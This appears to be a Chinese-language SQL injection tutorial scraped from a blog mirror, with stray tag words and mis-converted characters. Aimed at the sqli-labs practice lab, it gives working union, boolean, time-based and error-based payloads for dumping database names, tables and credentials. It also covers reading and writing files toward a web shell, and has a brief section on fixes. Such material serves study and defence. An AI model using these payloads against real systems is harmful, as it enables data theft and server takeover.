SQL注入理解

SQL注入理解

1. 定義/類型

定義:簡單來講,當客戶端提交的數據未作處理或轉義直接帶入數據庫就形成了SQL注入。php

注入類型分爲:
1. 整型(沒有單雙引號)
2. 字符串(有單雙引號)
3. 其餘細分的類型本質上就是整型和字符串的區別

2.聯合注入

  • 判斷整型注入仍是字符型注入html

    and 1=2 //頁面正常-->不是整型注入
    id=1'	//加單引號,頁面不正常,字符型注入
    --+ 將後面的語句註釋掉,頁面正常,判斷爲單引號注入
  • 獲取字段總數mysql

    • ‘ order by 3 --+
    • group by 3 //判斷字段總數是否>=3
  • union鏈接查詢(字段必須和表格字段總數相符)sql

    • select * from admin where id=1 union select 1,1,1; //union select 字段,字段,字段
    • select username,password from admin where id=1 union select 1,1; //union先後字段對應
  • 獲取數據庫信息shell

    • 爆破數據庫名稱
    http://127.0.0.1/sqli-labs/Less-1/?id=861' union select 1,(select group_concat(schema_name) from information_schema.schemata),3 --+
    mysql> select *from admin where username='hello' union select 1,database();
      +----------+----------+
      | username | password |
      +----------+----------+
      | hello    | 123      |
      | 1        | sqltest  |
      +----------+----------+
      //sqltest爲數據庫名稱
    • 數據庫版本version(),查看當前用戶user()
  • ​ 爆破數據庫表數據庫

    http://127.0.0.1/sqli-labs/Less-1/?id=861' union select 1,(select group_concat(schema_name) from information_schema.schemata),(select group_concat(table_name) from information_schema.tables where table_schema='security')--+
    • union select 字段,字段,Table_NAME from information_schema.TABLES where TABLE_SCHEMA=database() limit 1,1
  • 爆破字段名函數

    select group_concat(column_name) from information_schema.columns where table_name='users'
select *from admin where 1=1 union select 1,Table_NAME from information_schema.TABLES where TABLE_SCHEMA='sqltest';//信息點:數據庫名和數據庫中的表名

select COLUMN_NAME from information_schema.COLUMNS where Table_NAME='admin';
//已知表名找字段名
獲取字段下一條 limit 1,1

最後已知字段和表名就能夠獲取內容啦!

but,要是不能輸入單引號或者雙引號呢?

'admin' ====>  0x61646d696e(ASCIIhex)

3.導出數據庫別名拿shell

  • 導出數據庫網站

    select 內容 into outfile '路徑';//路徑的文件要不存在才能自動建立,路徑也能夠是網址,好比說phpstudy裏的WWW
    select *from admin into outfile 'D:/1.sql';//文件內容是表格的數據
    select 'hello' into outfile 'd:/2.sql';//文件內容就是‘hello’
  • 讀文件編碼

    select load_file('e:/1.txt');//注意路徑要加引號,文件要具備可讀性(即權限)
  • html的錨點code

    不能直接使用#註釋符,轉爲html的編碼%23;
    不用註釋符閉合單引號的話,用 where '1'='1

4.布爾注入

select username,password from user where username='1' or 2>1 -- ' and password='123'
分析:username=‘中間的'人爲閉合,使得 or 2>1 能夠執行’
mysql的註釋(頗有用):空格--空格  或者 #
  • 不能使用><=,你還會作嗎

select username,password from user where username='1' or true;
select username,password from user where username='1' or !false;
mid(str,1,3)字符串截取
ord()轉成ascii碼
Length()統計字節長度
步驟:(手工注入)
1.獲取數據庫長度
username=111' or Length(database()) >1 # &password=222;//布爾注入的結果爲真假,因此要判斷,知道長度後>改成=
2.獲取數據庫名稱
ord(mid(database(),1,1))//對照ascii碼錶
ord(mid(database(),2,1))
ord(mid(database(),3,1))
...

3.獲取表數目
or (select count(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=database())=1; 
4.獲取表名長度
第一個表長:
select length(TABLE_NAME)from information_schema.TABLES where TABLE_SCHEMA=database() limit 0,1;
第二個表長:
select length(TABLE_NAME)from information_schema.TABLES where TABLE_SCHEMA=database() limit 1,1;
5.獲取表名
6.獲取字段總數
COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME=
7.獲取字段長度
8.獲取字段名
9.獲取字段內容
10.獲取內容長度
select length(concat(username,'-----'password)) from 表名 limit 0,1; 
11.獲取內容
select concat(username,'-----'password) from 表名 limit 0,1;

5. 延時注入(與布爾相似)

if(條件,true,false)
sleep(5);

獲取數據庫總數
select count(SCHEMA_NAME) from information_schema.SCHEMATA;
獲取數據庫名稱
select SCHEMA_NAME from information_schema.SCHEMATA limit 0,1;
延時注入
sleep(if((select count(SCHEMA_NAME) from information_schema.SCHEMATA)>1,0,5));

6.MySQL之bug注入

注意:表格的內容要有3條以上纔有效

1.爆數據庫
select concat(floor(rand(0)*2),'=======',(select database()))as xx, count(1)from admin group by xx;
ERROR 1062 (23000): Duplicate entry '1=======sqltest' for key '<group_key>'

2.爆表名
select concat(floor(rand(0)*2),'=======',(select (TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=database()))as xx, count(1)from admin group by xx;
ERROR 1062 (23000): Duplicate entry '1=======admin' for key '<group_key>'

3.爆字段
select concat(floor(rand(0)*2),'=======',(select concat(username,'----',password) from admin limit 0,1)) as xx, count(1)from admin group by xx;
ERROR 1062 (23000): Duplicate entry '1=======bai----123' for key '<group_key>'

//語法錯誤什麼的錯誤代碼是1064,報錯注入的錯誤代碼是1062

7.mysql之函數報錯

8.修補sql漏洞

1.字符串addslashes()---轉義/過濾關鍵字
2.整型----+0/int()/過濾關鍵字

9.判斷是否存在注入

1.加入單引號'提交,
結果:若是出現錯誤提示,則該網站可能就存在注入漏洞。
2.數字型判斷是否有注入;
語句:and 1=1 ;and 1=2 (經典)、' and '1'=1(字符型)
結果:分別返回不一樣的頁面,說明存在注入漏洞.
分析:and 的意思是「和」若是沒有過濾咱們的語句,and 1=1就會被代入SQL查詢語句進行查詢,
若是and先後的兩條語句都是真的話就不會出錯,但若是先後語句有一個爲假的話,程序就會暴錯。
也就代表程序有注入漏洞
防注入解決辦法:
使用or 2>1 ; or 1>2來進行判斷
  結果:分別返回不一樣的頁面,說明存在注入漏洞.
  分析:or注入只要求先後兩個語句只要有一個正確就爲真,若是先後兩個語句都是正確的,反而爲
假。
   記住:or注入時,or後面的語句若是是正確的,則返回錯誤頁面!若是是錯誤,則返回正確頁面
,說明存在注入點。
 使用xor 1=1; xor 1=2
   結果:分別返回不一樣的頁面,說明存在注入漏洞.
   分析:xor 表明着異或,意思即鏈接的表達式僅有一個爲真的時候才爲真。
   記住:xor注入時,xor後面的語句若是是正確的,則返回錯誤頁面積,若是是錯誤,則返回正確
頁面,說明存在注入點。
把and 1=1轉換成URL編碼形式後在提交
  and 1=1 URL編碼:%41%4E%44%20%%31%3D%31
使用-1;-0
  分析:若是返回的頁面和前面不一樣,是另外一則新聞,則表示有注入漏洞,是數字型的注入漏洞;在 
URL地址後面加上 -0,URL變成 news.asp?id=123-0,返回的頁面和前面的
頁面相同,加上-1,返回錯誤頁面,則也表示存在注入漏洞.
3.字符型判斷是否有注入:
  語句:' and '1'=1;' and  '1=2(經典)
  結果:結果:分別返回不一樣的頁面,說明存在注入漏洞.
  分析:加入' and '1'=1返回正確頁面,加入' and  '1=2返回錯誤頁面,說明有注入漏同。
  防注入解決辦法:
  在URL的地址後面加上'%2B'(字符型)
  分析:URL地址變爲:news.asp?id=123'%2B',返回的頁面和1同;加
上'2%2B'asdf,URL地址變爲:news.asp?id=123'%2Basdf,返回的頁面和1
不一樣,或者說未發現該條記錄,或者錯誤,則表示存在注入點,是文本型的。
4.搜索型判斷是否有注入:
簡單的判斷搜索型注入漏洞存在不存在的辦法是先搜索',若是出錯,說明90%存在這個漏洞。而後搜
索%,若是正常返回,說明95%有洞了。
說明:加入如"&;"、"["、"]"、"%"、"$"、"@"等特殊字符,均可以實現,若是出現錯誤,說明有問題
操做:
搜索一個關鍵字,好比2006吧,正常返回全部2006相關的信息,再搜索2006%'and 1=1 and '%'='和
2006%'and 1=2 and '%'=',存在異同的話,就是100%有洞了。
關鍵字%' and 1=1 and '%'='%
關鍵字%' and 1=2 and '%'='%
將and 1=1 換成注入語句就能夠了
相關文章
相關標籤/搜索